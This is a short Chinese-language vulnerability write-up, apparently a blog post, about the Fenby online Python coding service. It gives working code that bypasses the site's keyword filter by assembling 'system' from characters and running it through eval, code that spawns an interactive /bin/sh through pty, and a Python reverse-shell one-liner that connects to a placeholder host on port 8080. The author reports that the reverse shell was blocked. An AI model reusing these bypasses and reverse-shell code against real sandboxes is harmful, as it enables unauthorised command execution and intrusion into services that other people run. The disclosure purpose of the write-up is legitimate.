Fenby网是由微享科技(北京)有限公司独立开发的在线互动学习编程网站.为了方便用户学习python,建立了”闪电编程“,用户可以p在线编写和执行python等脚本代码。虽然对源码内容进行了限制,但是因为设计缺陷可执行命令。
先注册一个帐号,http://www.fenby.com,然后点闪电编程,在闪电编程中,我们就可以输入python代码。我们输入:
#coding=utf-8 import os os.system('whoami')
运行时会提醒:源码中包含受限制的方。说明系统对执行命令做了限制,但我们可以通过输入如下代码来进行绕过:
#coding=utf-8 s=['s','y','s','t','e','m'] s="".join(s) cmd="whoami" a="__import__('os')."+s+"('"+cmd+"')" eval(a)
通过执行命令,我们就可以进行文件读取。
当然,我们还可以通过如下代码建立一个交互式shell来执行命令:
#coding=utf-8 s=['s','p','a','w','n'] s="".join(s) cmd="/bin/sh" a="__import__('pty')."+s+"('"+cmd+"')" eval(a)
获取的这个交互式shell虽然执行交互命令,但是系统进行了限制,不能输入太长的内容。随意继续想把/bin/sh反弹出来,即通过
python -c 'import socket as h,subprocess as b,os;s=h.socket(h.AF_INET,h.SOCK_STREAM);s.connect(("xxx",8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);p=b.call(["/bin/sh","-i"]);'
但是,端口没转出来,说明网站对端口连接进行了限制,不能反弹出来。
———————————————————————————————————–
本文隐藏内容 登陆 后才可以浏览